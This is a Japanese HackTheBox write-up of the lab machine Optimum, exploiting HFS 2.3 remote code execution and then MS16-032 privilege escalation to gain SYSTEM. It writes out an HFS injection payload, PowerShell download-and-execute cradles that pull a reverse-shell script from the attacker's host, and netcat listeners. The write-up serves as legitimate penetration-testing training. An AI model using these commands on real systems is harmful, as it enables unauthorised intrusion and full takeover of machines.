【HackTheBox】Optimum WriteUp

2023/02/15に公開

はじめに

今回はWindows machine Optimumをやっていきます。シェルを複数利用しないといけない状況や、windowsの脆弱性探すのにsherlockを使用したりと楽しく取り組めました。

https://app.hackthebox.com/machines/6

Enumeration

Nmapポートスキャン

nmap -sC -sV optimum.htb  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-14 02:28 EST
Nmap scan report for optimum.htb (10.129.9.158)
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.62 seconds

HttpFileServerバージョン2.3があります。

ウェブサイト確認


ログインができるようです。

Searchsploitで脆弱性確認

HFS 2.3に脆弱性があるか確認します。

earchsploit HttpFileServer
----------------------- ---------------------------------
 Exploit Title         |  Path
----------------------- ---------------------------------
Rejetto HttpFileServer | windows/webapps/49125.py
----------------------- ---------------------------------
Shellcodes: No Results  

https://www.exploit-db.com/exploits/49125

Remote Code Executionができるようです。
searchsploit -m 49125でダウンロードします。

RCE

RCEでPingが使えるかを確認します。受け取るためにtcpdumpで待ち構えます。

以下で待ち構えます。
sudo tcpdump -i tun0 icmp

tcpdumpの後に以下を打ちます。

python3 49125.py optimum.htb 80 "ping.exe -n 1 10.10.14.9"
http://optimum.htb:80/?search=%00{.+exec|ping.exe%20-n%201%2010.10.14.9.}

結果

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:51:25.683344 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 1, length 40
07:51:25.683364 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 1, length 40
07:51:25.684157 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 2, length 40
07:51:25.684165 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 2, length 40
07:51:25.684170 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 3, length 40
07:51:25.684172 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 3, length 40
07:51:25.686484 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 4, length 40
07:51:25.686490 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 4, length 40

pingが働いていることがわかります。

Foothold

シェルの取得

Invoke-PowerShellTcp.ps1を使いリバースシェルを奪います。
https://github.com/samratashok/nishang/tree/master/Shells
このファイルの一番下に新しく
Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.9 -Port 4444の行を追加します。

コードの利用

コードを実行するためのシェル、ファイルをアップロードするためのシェル、リバースシェルを待ち受けるためのシェルが必要になるのでひとつずつ説明します。

  1. コード実行
python3 49125.py optimum.htb 80 "powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/revshell.ps1')"

revshell.ps1という名前でInvoke-PowerShellTcp.ps1を保存しています。

  1. revshellのアップロード
    マシンにはrevshellがアップロードされていないので、ない状態で上記1のコードを実行しても何も起きません。なのでpython httpサーバを準備し、revshellをダウンロード可能な状態にします。
    python3 -m http.server 8080

  2. revshellの取得
    最後にncでリッスンします。
    nc -lvpn 4444

ユーザフラッグ

koastasのフラッグが取得できました。
PS C:\Users\kostas\Desktop> type user.txt

Privilege Escalation

Enumeration

特権昇格を行うために、マシン内での脆弱性を探します。探すために今回はsherlockを使います。

Sherlock.ps1

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1をkaliマシンにダウンロードします。

実際に中身を見てみるといろいろと脆弱性を調べる関数が書いてあることがわかります。

grep -i function Sherlock.ps1
function Get-FileVersionInfo ($FilePath) {
function Get-InstalledSoftware($SoftwareName) {
function Get-Architecture {
function Get-CPUCoreCount {
function New-ExploitTable {
function Set-ExploitTable ($MSBulletin, $VulnStatus) {
function Get-Results {
function Find-AllVulns {
function Find-MS10015 {
function Find-MS10092 {
function Find-MS13053 {
function Find-MS13081 {
function Find-MS14058 {
function Find-MS15051 {
function Find-MS15078 {
function Find-MS16016 {
function Find-MS16032 {
function Find-MS16034 {
function Find-CVE20177199 {
function Find-MS16135 {

全脆弱性を調べる

全部の脆弱性を調べたいので、新しく以下を追加します。
echo "Find-AllVulns" >> Sherlock.ps1

koastasからsherlock.ps1をダウンロードします。先ほどのpythonサーバを使います。

iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/Sherlock.ps1')

結果

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Appears Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Appears Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable

以下のexploit-dbがリンクされている脆弱性が気になるので、こちらを使います。

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Exploit

wgetでexploitに使用するコードを持ってきます。

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1

Invoke-MS16032.ps1に新しく以下の行を追加します。

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.9:8080/revshell.ps1')"

マシン上でダウンロードし実行します。

iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/Invoke-MS16032.ps1')

実行できませんでした。

PS C:\Users\kostas\Desktop> iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/Invoke-MS16032.ps1')
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
[!] No valid thread handles were captured, exiting!

64ビットプロセスを確認します。

PS C:\Users\kostas\Desktop> [Environment]::Is64BitProcess
False

64ビットプロセスがtrueでなければいけないようなので、実行コードを少し変更します。
以下に64ビット、32ビットについていろいろ書いてあります。
https://ss64.com/nt/syntax-64bit.html

python3 49125.py optimum.htb 80 "C:\WINDOWS\Sysnative\WindowsPowerShell\v1.0\powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/revshell.ps1')"

再度つなぎます。

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.9.158] 49201
Windows PowerShell running as user OPTIMUM$ on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\kostas\Desktop>whoami
nt authority\system

ルートflag

PS C:\Users\Administrator\Desktop> type root.txt

まとめ

個別のシェルで実行しないといけないものが多いので一連の流れをまとめます。

ユーザーシェルまで

  1. pythonサーバーを準備
  2. リバースシェル用ncを準備
  3. exploit用のコードを実行
  4. kostasユーザ取得

Kostasからroot

  1. kaliマシンにてSherlockをダウンロードします。
  2. KostasでkaliのpythonサーバからSherlockを持ってきて実行します。
  3. Sherlockにて脆弱性を発見したのでそれに該当するexploitコードをkaliマシンにダウンロードします。
  4. kaliマシンで新しくシェルを開き、ncでリッスンします。
  5. Kostasでpythonサーバからexploitコードを持ってきて、実行します。
  6. ncでrootシェルにつながります。

Discussion